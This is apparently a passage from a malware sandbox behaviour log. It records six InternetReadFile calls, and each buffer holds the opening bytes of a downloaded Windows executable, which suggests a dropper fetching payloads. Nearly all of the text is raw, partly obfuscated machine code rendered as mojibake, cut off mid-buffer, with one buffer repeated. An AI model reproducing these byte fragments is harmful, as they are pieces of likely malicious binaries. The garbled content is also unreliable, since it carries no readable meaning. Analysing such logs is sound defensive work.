InternetReadFile Feb. 19, 2023, 2:02 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $U¦M Ç#óÇ#óÇ#óJ¯ òÇ#óJ¯&òÇ#óJ¯'òÇ#óÄª'òÇ#óÄª òÇ#óÄª&ò:Ç#óJ¯"òÇ#óÇ"ó²Ç#ó©òÇ#ó©ÜóÇ#ó©!òÇ#óRichÇ#óPELè!ÍcàÌuvà@@@mdÐààl(À?pÔ@0@@à.text½ÊÌ `.rdataèàÐ@@.dataDj@À.rsrcàÐ@@.relocl(à@Bh§BèÕcYÃÌÌÌÌh §BèÅcYÃÌÌÌÌj h\|3C¹CèOKhà§Bè¤cYÃÌÌÌj h 3C¹Cè/Kh@¨BècYÃÌÌÌjhÄ3C¹CèKh ¨BèdcYÃÌÌÌj hÌ3C¹CèïJh©BèDcYÃÌÌÌjhð3C¹DCèÏJh`©Bè$cYÃÌÌÌjh4C¹´Cè¯JhÀ©BècYÃÌÌÌjh{3C¹ÔCèJh ªBèäbYÃÌÌÌjh{3C¹LCèoJhªBèÄbYÃÌÌÌjh{3C¹¬CèOJhàªBè¤bYÃÌÌÌjh{3C¹TCè/Jh@«BèbYÃÌÌÌjh$4C¹DCèJh «BèdbYÃÌÌÌjh04C¹tCèïIh¬BèDbYÃÌÌÌjhD4C¹<CèÏIh`¬Bè$bYÃÌÌÌjhX4C¹\Cè¯IhÀ¬BèbYÃÌÌÌj(hh4C¹LCèIh BèäaYÃÌÌÌjh4C¹CèoIhBèÄaYÃÌÌÌjh 4C¹ìCèOIhàBè¤aYÃÌÌÌjDh°4C¹tCè/Ih@®BèaYÃÌÌÌj\hø4C¹dCèIh ®BèdaYÃÌÌÌjhX5C¹TCèïHh¯BèDaYÃÌÌÌjhh5C¹\|CèÏHh`¯Bè$aYÃÌÌÌjhp5C¹\|Cè¯HhÀ¯BèaYÃÌÌÌj<h5C¹LCèHh °Bèä`YÃÌÌÌjhÌ5C¹4CèoHh°BèÄ`YÃÌÌÌjhÜ5C¹ôCèOHhà°Bè¤`YÃÌÌÌjhô5C¹Cè/Hh@±Bè`YÃÌÌÌjXh6C¹,CèHh ±Bèd`YÃÌÌÌjhd6C¹CèïGh²BèD`YÃÌÌÌjh\|6C¹ÜCèÏGh`²Bè$`YÃÌÌÌjh6C¹DCè¯GhÀ²Bè`YÃÌÌÌjh6C¹$CèGh ³Bèä_YÃÌÌÌjh6C¹LCèoGh³BèÄ_YÃÌÌÌjh¤6C¹<CèOGhà³Bè¤_YÃÌÌÌjh°6C¹´Cè/Gh@´Bè_YÃÌÌÌjh¼6C¹¬CèGh ´Bèd_YÃÌÌÌjhÈ6C¹\|CèïFhµBèD_YÃÌÌÌjhÔ6C¹\CèÏFh`µBè$_YÃÌÌÌjhà6C¹ôCè¯FhÀµBè_YÃÌÌÌjhì6C¹CèFh ¶Bèä^YÃÌÌÌjhø6C¹üCèoFh¶BèÄ^YÃÌÌÌjh7C¹CèOFhà¶Bè¤^YÃÌÌÌjh7C¹ÔCè/Fh@·Bè^YÃÌÌÌjh7C¹ìCèFh ·Bèd^YÃÌÌÌjh(7C¹<CèïEh¸BèD^YÃÌÌÌjhD7C¹CèÏEh`¸Bè$^YÃÌÌÌjhL7C¹dCè¯EhÀ¸Bè^YÃÌÌÌjhT7C¹CèEh ¹Bèä]YÃÌÌÌjh\7C¹,CèoEh¹BèÄ]YÃÌÌÌjhh7C¹¬CèOEhà¹Bè¤]YÃÌÌÌjhx7C¹Cè/Eh@ºBè]YÃÌÌÌjh7C¹äCèEh ºBèd]YÃÌÌÌjh7C¹CèïDh»BèD]YÃÌÌÌjh7C¹4CèÏDh`»Bè$]YÃÌÌÌjh 7C¹DCè¯DhÀ»Bè]YÃÌÌÌjh¨7C¹tCèDh ¼Bèä\YÃÌÌÌjh°7C¹CèoDh¼BèÄ\YÃÌÌÌjh¸7C¹,CèODhà¼Bè¤\YÃÌÌÌjhÈ7C¹ÌCè/Dh@½Bè\YÃÌÌÌjhÐ7C¹ÜCèDh ½Bèd\YÃÌÌÌjhØ7C¹´CèïCh¾BèD\YÃÌÌÌjhà7C¹ÄCèÏCh`¾Bè$\YÃÌÌÌjhì7C¹´Cè¯ChÀ¾Bè\YÃÌÌÌjhô7C¹¤CèCh ¿Bèä[YÃÌÌÌjh8C¹CèoCh¿BèÄ[YÃÌÌÌjh8C¹CèOChà¿Bè¤[YÃÌÌÌjh<8C¹ôCè/Ch@ÀBè[YÃÌÌÌjhP8C¹¤CèCh ÀBèd[YÃÌÌÌjhh8C¹\CèïBhÁBèD[YÃÌÌÌjht8C¹ÔCèÏBh`ÁBè$[YÃÌÌÌjh8C¹ÄCè¯BhÀÁBè[YÃÌÌÌjh8C¹ÌCèBh ÂBèäZYÃÌÌÌjh°8C¹ÄCèoBhÂBèÄZYÃÌÌÌjhÄ8C¹\|CèOBhàÂBè¤ZYÃÌÌÌjhÌ8C¹tCè/Bh@ÃBèZYÃÌÌÌjhè8C¹CèBh ÃBèdZYÃÌÌÌjhü8C¹üCèïAhÄBèDZYÃÌÌÌjh9C¹¬CèÏAh`ÄBè$ZYÃÌÌÌjh9C¹TCè¯AhÀÄBèZYÃÌÌÌjh 9C¹CèAh ÅBèäYYÃÌÌÌjh49C¹CèoAhÅBèÄYYÃÌÌÌjhH9C¹CèOAhàÅBè¤YYÃÌÌÌjhP9C¹4Cè/Ah@ÆBèYYÃÌÌÌj@hX9C¹ÜCèAh ÆBèdYYÃÌÌÌjh9C¹dCèï@hÇBèDYYÃÌÌÌjLh¨9C¹¤CèÏ@h`ÇBè$YYÃÌÌÌj<hø9C¹ÌCè¯@hÀÇBèYYÃÌÌÌjh8:C¹äCè@h ÈBèäXYÃÌÌÌjhH:C¹4Cèo@hÈBèÄXYÃÌÌÌjhT:C¹CèO@hàÈBè¤XYÃÌÌÌjh`:C¹üCè/@h@ÉBèXYÃÌÌÌj@hp:C¹Cè@h ÉBèdXYÃÌÌÌjPh¸:C¹¼Cèï?hÊBèDXYÃÌÌÌjh;C¹ôCèÏ?h`ÊBè$XYÃÌÌÌj4h ;C¹<Cè¯?hÀÊBèXYÃÌÌÌjhX;C¹lCè?h ËBèäWYÃÌÌÌ request_handle: 0x00cc000c	1	1
InternetReadFile Feb. 19, 2023, 2:03 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPEL'ïcà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1
InternetReadFile Feb. 19, 2023, 2:02 p.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELs¸¹bàHtZ/@Í.text¡rt àîfI"É¥îÇ±AFÁ¨ÄpZZ,Fîò ·CUp¨ öJ®>S%cô×ap¹è>DMÕ)°d^ò¸MÔÏeyU¬¡ ¥4Ð®ôØÄ~õ^5=\3`@]¢¼·3çòWÉ½0öòÕùÂÞ¨bÙ¯å¦¥H:²2~ sÛSyf½úÔü¸\|Àgõ×ñ9i]üAÓþçQ¡q31Üæ§Õ9@ýeU> f°Ï:¹Á¿+WxÓî²n]wPtUAX"·yÒçðTÙêáìèïÕk T³¢"w\|]È9Áf& Ñ¾bµÆ'À¥Up½¬HOd9Ï3ÎVÚáñÒ/´O_RM,Y[ê×ñ`\0Ú÷èYRº åi¢#~$á^@ó[.þthcê½ÛåÛÕ7+èªÉµ$Ðq)-ÁPÌ2+Î&tØçÚs)(èÍleÒêEd7¤àIê]j¹ªçàÜ³vXßy'¥³tÛw"À!ÄqÂ§ i ªF«ÑSÇ¤E3°>8©éÍF`} Êx\jé3³!K^)[ÓñcC"ÎkÚ¾òGô#Ì§¸Á~O2YýW;\|XVy.Hón·í~Me[{aóë(ÄàB7B$î[Ýl_¤ôtua+qì<$tu$3ì4$ënHrh0Ã8{$ÄëëïÓèutSôÌo^ë îoë ëõ ë¿Ñx{Æë pakV_ëB³ëøà¬ëÑx{0Ðªâóuty?4$Äut%<$ÄÃUåVWënëVh÷XërXëôwë `ÖjKYë¯ë÷èAÿÿÿóK»}<»E8¹ÇañÙ2àÒÊi³Ñ3D6àÒÊÛ=+Ç"00Û5"YÛÅâÛ<Ð·{000Û5öÛÅØØÆÎÏÏ_^ÉÂUåUSVWë3GchXëdHëôüë3&´lthê$ÄëÁëï'è¶þÿÿe»E8»M<ëÎ÷Ýð?à(ðØ33E"Øµ0000ø"E74"C2V¡ÃÆòðH)¡E:°ÊØf000Û8ÎüÆòD-ÎüÛ)J>°Ê¶ÐØ0002Û6ÆòE5¶Ð¥¢7429E$Ø0000ø(E94(C4DV¡¦?Ý½D 0Ã¦ÙFÏÏÏÅàèØ70008øàðÑóÆïI3££4âû?éómM<Û$Uöá\|X²#00»4³ô4Û5¢\|ÛßOÛ=DdÚ000Û5pÛÛÅÿØüÍÏÏø_^[]ÉÂUåìSVWë 7±Eh©XëÏëôüëâÏè©Á¹ëxÀëõèèýÿÿ»m8ð¹uÄ»}$¹1»E<»M gfgfØ2ÎÏÏ½eÈ¹2½eÌ¹2½uÄùZ4X000ba`ZÏÏcLµðE%ÏEÄfØgÎÏÏuÈE7»}$¹1Û7÷uÄ0000nogfØÍÏÏÛ#üfhX$00»4³ô4Û5nÛßÛ<ùý¢000Û5yÛÅ ØÍÌÏÏEô_^[ÉÂUåì`SVWë ®G\hvXëúZëô ë äí¹në¢ÆëõèÂüÿÿ»m8Ï¹MüV¼ØVµðD3ÏuüÏcxµð?´'300¹u½E¹f`Ïc\|»6µð?´Î200½}à¹1¹I4½EèZ(fÏc ÷6(000¹Â½}à½uÀabZp`Ïc@µð?µÿ200½uÄZ2gg`ZÏZÏÏEÀÏ£°000µð?µ200¹MÈ½u¹H4÷00`00½EgX0008Z4`gZ6fÏcDµðEjÏE¿uø½u¹½}øZ4gZ1aggg`ZÏÏÏcHµðE½uô¹½}øZ4gZ1aggg`ÏEÄÏÏcHµðE)»EX4100fgÏc»u$¹¶8200ÏuÈ½u»} ±ñ0010¹H4¹8½EgX0008Zp`gZ>fÏcDµð?µ6200³MÈ0?´Ì100ÏE¿uø½u¹½}øZ4gZ1aggg`ZÏÏÏcHµð?µå100½uð¹½}øZgZ1aggg`ÏEÄÏÏcHµð?µ100Ø0000E5D3 O³ô4»DÌÛ:4±ÞË&00Û5ÛÅ4Û50 äHK±öd00Û>LâêXB00iÛ5ÛÄ¥Û= ÉëÒP00Û5x¼ÛÅÛ;æ[K¹àÛ5à¡ÛÈ\|Û2ÅñÒ5Û5xiäHK1òÛ5präHKðÛ1Û5\|äHK1òÛ1ÀÒõÛ5¼äHK±ÂãþÛ6¸äÛ5ÛÉ¸»E<3?~6f¹Â³Mü0D8±ò8100Û6±òÈ000a»z µùD>»J<3M»B$3E<Ã³òiÒÔn³Mü0DVØ0000o±ß×'00¹É¹Ê±ñ00±ò+(00¹:¹È500X100`ØÊÏÏ»uð¹Á»eª00000¹É¹Ê±ñÉ00±òp(00¹:»v3uð»}ô»eÄª00000ÛQf»feð½000»3E³0D»»~4³Ù8áÙ³ö8ðV000D<Ï?003u1È Ò×Ûãn»~3}ðÏ½uÌ¹g`ÏEôagggggÏEÄÏ£¨000Û=XØ300Ïc,ÙáÌÏÏÛ>¦ªìF%00Û5iÛÅ´Û?\|n'û ^300Û5çÛÅ8ØdÉÏÏ_^[ÉÂUåìSVWëÂ¸ëÉ»ëõ)ë.§~¹cë ,ëõjèùÿÿ»m8X¸#00Ïc,½uÌ`ÏE ÏE<cØpËÏÏµðD=ÏE$ÏEÌ`cØÎËÏÏZ0ZÏÏ#Û#7ÚX+)00»4³ô4Û5s ÛßúÛ?#-xrµS000Û5£ÂÛÅ#ØÈÏÏ_^[ÉÂUåìTSVWëÆS hÇ$ÄëØëï/ëJKÒh¼$ÄëNÂëïèqøÿÿ»m8Ø0000E6D4:ÅnÛ:ô±Þÿ)00Û5°ÛÅô°Û5üïêHK±öd00Û<.=ùB00Û5ÓÛÅ\Û%çRG5XP00»$³ô4Û5~°ÛßÛ;¯ ¶N¹àÛ5ÜÛÈ#Û1eñÒ5Û5<=éHK1òÛ5tFéHKðÛ2òYÛ5tTéHK1òÛ1dÒõÛ5pbéHK±ÂãþÛ6päÛ50ÛÉp0½ËÏÏfZ8ZÏÏclµð?´ü000½µËÏÏ½ËÏÏ`Z$gZ)ÏÏcPµð?´000±O 000?³000½ÍÏÏX4100fZ0ÏcØ000@0B0_0S0U0C0C00S0Q0\0\00S0B0U0Q0D0U0000C0000hf`gÏc`³ô<½EôZfÏc ÷6000Ø<000B0E0^0Q0C000h¹v<Ø:000G0]0Y0S000h¹v ¹N$Ïct¹v8fÏcXµðDÈZ0ZÏÏ#Û?DætX÷)00hÛ53ÛÄÛ?c¸ ´ý¢100Û5JÛÅØÆÏÏ_^[ÉÂUåSVWëK=h½$Äë»ëïýëÇàG×jPYë¢ë÷ßè{öÿÿ»m8»E<µÆD)ð¹ÇVVµðD>`Ï£000³ô4VÛÛÛ?çÂ_X+00hÛ5êÛÄÛ?]MZ`»<³ô4Û5!@ÛÂØÆÏÏ_^[ÉÂUåìSVWëpBWhOXëç>ëôaë¾?S×\çhÅ$ÄëÏ[ëïÚèéõÿÿ÷uÌ1000»m8ð»E<¹ÇgVVµðD>`Ï£000³ô4VÛÛØw000A0U0]0E0000000F0Y0B0D0Y0_000F0]0G0Q0B0U000F0R0_0H0000000H0U0^0000000000no°0D$fgÏ£000³ô8µðE7³ö>Û×Û7÷uÌ0000Û#5»ïX,00»4³ô4Û5>xÛß!Û<ebõ000Û5hÛÅcØÅÏÏEü_^[ÉÂUåìSVWë ¼¦~hVXë¡ëô?ëü»'thÍ$Äë¦mëïèâôÿÿ÷uÌ1000»m8ð»E<¹Çg´ðD=`Ï£000³ô4ÛÞØe000F]SYC0F]ECR]0F]]_EC0F]T]@0F]BQGT0F]]U]S0FR_HWE0FR_HCV0FR_H]_0FR_HFY0FR_HTY0FY_CUB00no°0D$fgÏ£¬000³ô8µðE7³ö7Û×Û7÷uÌ0000Û>`ùÌ¯Xf request_handle: 0x00cc000c	1	1
InternetReadFile Feb. 19, 2023, 2:02 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL4tCÕà08Æ.V `@ `@àUK`¨Ã@ H.text46 8 `.rsrc¨Ã`Ä:@@.reloc@þ @BVHÀQôû'´M 2J(( {8~({8ïÿÿÿ}8äÿÿÿ{ 0w8-þE8rps z~({8%?Þÿÿÿ8=Ñÿÿÿ8} 88Åÿÿÿ ~:ÿÿÿ& 8ÿÿÿ{ {ÚÐ#~²(#~³(98}8J8} 8óÿÿÿÂ8~ ~È(8êÿÿÿ~´(9Úÿÿÿ8Öÿÿÿ0Æ8°þE=ó©)_5ê)'Oj-Þl88~Ô(~Ó(( 8ö:X8È8Ô8¥9® 8oÿÿÿ~×( 8Uÿÿÿ~Ò(~Õ("@ZY"@Z"@Z( 8~Ô(Y~Õ(( ~c:ëþÿÿ& 8àþÿÿ9Û8ì8O87~Ô(~Ó(( 8~×(82~({8Í9î ~c9kþÿÿ& 8`þÿÿ9þÿÿ8fs 8hÿÿÿ"C"´B~Ö(8~×(8ÿÿÿ9Ç8T"´B"´B~Ö(8ß~Ô("@ZY~Ó("@Z"@Z( 8lÿÿÿ9 8 ýÿÿ98~Ô(~Õ(( 8Eÿÿÿ~Ô(Y~Ó(( ~X9@ýÿÿ& 85ýÿÿ~Ò(X~Ó(( 8m~Ò(~Õ(Y( 8z~Ò(~Ó("@Z"@Z( 8ÿ~Ò(~Ó(X( 8üÿÿ8çþÿÿ8Èüÿÿ~Ô("@ZY~Õ("@ZY"@Z"@Z( þ83üÿÿ~Ò(X~Õ(( 8üÿÿ~Ô(~Õ(Y( 8áûÿÿ~×(8þÿÿ8gýÿÿ8÷üÿÿ8â8ÿÿÿ"4C"´B~Ö( 8ûÿÿ8ûûÿÿ8~Ô(~Õ(( ~#:^ûÿÿ& 8Sûÿÿ8¼üÿÿ8~Ò(~Ó(( 8¶ûÿÿ~Ô(~Ó(X( 8sþÿÿ~Ò(~Ó(( 8[ûÿÿ~Ò(~Õ(( ~59úÿÿ& 8¢úÿÿ8ûÿÿ8ÿÿÿ~Ò(~Õ(( 8oúÿÿ8Tüÿÿ 8`úÿÿ""´B~Ö(8(ûÿÿ0Z8þE782}8~({ ~f:Ëÿÿÿ& 8Àÿÿÿ~Ø(8½ÿÿÿ0k8ZþEL8G~Ù( ~q:×ÿÿÿ& 8Ìÿÿÿ~µ(&8Éÿÿÿ~({8ßÿÿÿ}8ãÿÿÿ0c þ8þE&8!} ~R9Øÿÿÿ& 8Íÿÿÿ}8~Ú(80f8þE28-}8} ~o:Ðÿÿÿ& 8Åÿÿÿ~({8~É(88~Ê(8~({8ßÿÿÿ~Ë(8{~ ({8êÿÿÿ0¢8pþE8%~({ ~89Øÿÿÿ& 8Íÿÿÿ~Ì(8>~Þ(~ß(s }8¢ÿÿÿ~Þ(>ÿÿÿ8~ß(>zÿÿÿ8«ÿÿÿ0´(8ryp~ñ(£}8} 8(! þ88¶ÿÿÿþE»Ñ8 /s" ~(»85rp" As# ~ (· ~8: ÿÿÿ& 8ÿÿÿs$ %~(¿%~(¿}8d /s" ~ (»8kÿÿÿ{þs% ~(Ç8fÿÿÿ (~ò(§8a~(³8@ÿÿÿs& %~(Ã} ~#:ãþÿÿ& 8Øþÿÿryp~ñ(£~ú(¯8Lÿÿÿ~ó(«~ù(¯ 8þÿÿ0 þ8þE-G8(~( ~(Ï8~(Ó8Øÿÿÿ~( ((&8¿ÿÿÿ~(Ë @Ãÿÿÿ ~l9ÿÿÿ& 8ÿÿÿ08fþEò;Ó8í{Y}8~({8{?81{?Ñÿÿÿ8¸ÿÿÿ{:{88Çÿÿÿ 8ÿÿÿ{Y} ~9aÿÿÿ& 8Vÿÿÿ{X}8?{X} ~q:#ÿÿÿ& 8ÿÿÿ{ ò<8Âÿÿÿ8,ÿÿÿ87ÿÿÿ{ <ÿÿÿ 8ßþÿÿ0]8þEW5 request_handle: 0x00cc000c	1	1
InternetReadFile Feb. 19, 2023, 2:03 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÕçsOÕçsOÕçsOwNÇçsOpNÞçsOvNeçsOvNçsOwNÚçsOpNÜçsOrNØçsOÕçrOiçsONzNÑçsONsNÔçsONOÔçsONqNÔçsORichÕçsOPEdã!Ícð" è²Hë à``{X¸{°øàÀhªppª À.text¨æè `.rdata ì@@.data¬o6\|@À.pdataà²@@_RDATA J@@.rsrcø°L@@.relochÀN@BHì(A¸ H×H ªèsT H \|ÛHÄ(é¯× ÌÌÌHì(A¸ HÏH P«èCT H ¼ÛHÄ(é× ÌÌÌHì(A¸HÃH `«èT H üÛHÄ(éO× ÌÌÌHì(A¸ HH ªèãS H <ÜHÄ(é× ÌÌÌHì(A¸HH ªè³S H \|ÜHÄ(éïÖ ÌÌÌHì(A¸HH Ð¨èS H ¼ÜHÄ(é¿Ö ÌÌÌHì(E3ÀHRë H ªèVS H ÿÜHÄ(éÖ ÌÌÌÌÌÌHì(E3ÀH"ë H ªè&S H ?ÝHÄ(ébÖ ÌÌÌÌÌÌHì(E3ÀHòê H C©èöR H ÝHÄ(é2Ö ÌÌÌÌÌÌHì(E3ÀHÂê H ó§èÆR H ¿ÝHÄ(éÖ ÌÌÌÌÌÌHì(A¸H¯H ¨èR H üÝHÄ(éÏÕ ÌÌÌHì(A¸?HßH 0©ècR H <ÞHÄ(éÕ ÌÌÌH ÞéÕ ÌÌÌÌH ùÞéÕ ÌÌÌÌH YßépÕ ÌÌÌÌH ¹ßé`Õ ÌÌÌÌH àéPÕ ÌÌÌÌHì(E3ÀHâé H Ó§èæQ H _àHÄ(é"Õ ÌÌÌÌÌÌH ¹àéÕ ÌÌÌÌH áéÕ ÌÌÌÌH yáéðÔ ÌÌÌÌH ÙáéàÔ ÌÌÌÌH 9âéÐÔ Hì(H ²è$Þ H âHÄ(é°Ô H âé¤Ô H ÕâéÔ H ãéÔ Hì(H ¶èàÝ H 5ãHÄ(élÔ ¸ÃÌÌÌÌÌÌÌÌÌÌH\$Hl$Ht$ WAVHùLç A¸L5WìÿÿLÉ@A¶AÿÈÀt'ÐA¶B¶0 oB82 ouIÿÁIÿÂEÀÑAÿÈEÀxA¶B¶0 oA¶B¶0 o+ÈuHÇE3ÛL×HÿuEÓëD8t fIÿÂE8uøD+×Aâÿÿÿ?AêH\|v@LAÂIñLÇEÒt+A¶ÿÈÒt#A¶ B¶1 oB82 ouIÿÀIÿÁÀÕÿÈÀxA¶B¶0 oA¶B¶0 o+Áu¶.Bö0`dFt"AÿÃHÃAû\|3ÀH\$ Hl$(Ht$0A^_ÃH\$ ¸Hl$(Ht$0A^_ÃÌÌÌÌÌÌÌùwHcÁH ¹uHÁÃ3ÀÃÌÌÌÌÌÌÌÌÌHì(ù w+HcÁLÊA IAD(AEÉtJ(3ÀHÄ(ÃL é6A¸õ8H;¹ènT¸HÄ(ÃÌÌÌÌLL$ LD$AVHìPH\$`E3öHl$HHÙHIIéH\|$8L\|$ MøHcúHÉtÿöHt$@ÿ H9êÿÿºHÊÿáLAPED9´$äLPéÓH»E7DED9´$µD±Dé©C(AöLd$0Ll$(EîÀ~:IþHC HL8HÉtD8itÿAD8iuèî\C(ÿÆHÇ ;ð\|ÑEæÀ~tMþHC JD8HÀtCH@H(·°½¼ÁpùHHI@ÿ8HÍðÿ¯÷ðµ¼DîC(AÿÄIÇ D;à\| Hl$xL\|$pLd$0AþÀ~4IöHC HL0HÉtD8qtiuèá[ÿÇHÆ ;{(\|ÖE/Ll$(DuéC(AöDt$hÀ~5IþHC HL8HÉtD8qtÿAD8quèÞ[C(ÿÆHÇ ;ð\|ÑHL$hEþH ÀÆIîHC Ht(Hö¹ ÿÈFTF<F$F¯ÈL$hHNÿtD$hHNHÿfD$hHN0ÿXD$hHN`ÿJD$hH~@HÿtHWHËèQÊH?HÿuìH~HÿtHWHËèÄ?H?HÿuìC(AÿÇHÅ D;øIÿÿÿHl$xL³ AþÀ~0IöHC HL0HÉtD8qtiuèqZÿÇHÆ ;{(\|ÖHL$pD$hDuéH{HL$hH AÆD$hHÿtgfDH×HËè5cL9³ t H×HËè1,ë3H;»hr"H;»psH`HÿLH»`ëHÏèL+HXHÿu£D$hL³ DuAéAÖEÎ9S(~FD$MÆfDHC JDHÀtH@HD¹ÔEÛtD´¹ÔÿÂIÀ ;S(\|ËDuEë)DuL9³AÆL9³~¸AëA¾HKL\|$ H\|$8Ht$@Hl$HH\$`HÉtÿ¹AÆHÄPA^ÃÓ.K¾TTT®ÌÌÌÌÌÌÌÌHL$HT$LD$LL$ SUVWAVHÑH\$8E3ÒH-ôI@D3À{sD[H[(LsøEÀt,@D¶ AÿÈAö)tGHÿÂA¾ÁHT$0HÀÐEÀuØ;Ç\|);Æ%EÛt¾ D;ÙuAAÿÂHT$0HÿÂHT$0EÛuAÂA^_^][ÃÌLÜI[IkVWAVHìp3ÿICØICÈHòI{ÀIC ÇD$@;E3ÀI{°DOÇD$0WIC HÙÇD$ :WÉèóþÿÿøÐ¶CL5ÿHHÃ<:H$ E3ÀHD$(DO;WH\|$ HKè®þÿÿøHÃ;.u[¶KBö1tPòHÿÃòò%fD¾ÁHÿÃòYËòYÓfnÀ¶óæÀ¶ÈBö0òXÈò\ÌuÕò^Ê request_handle: 0x00cc000c	1	1
InternetReadFile Feb. 19, 2023, 2:03 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELå!Ícà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h 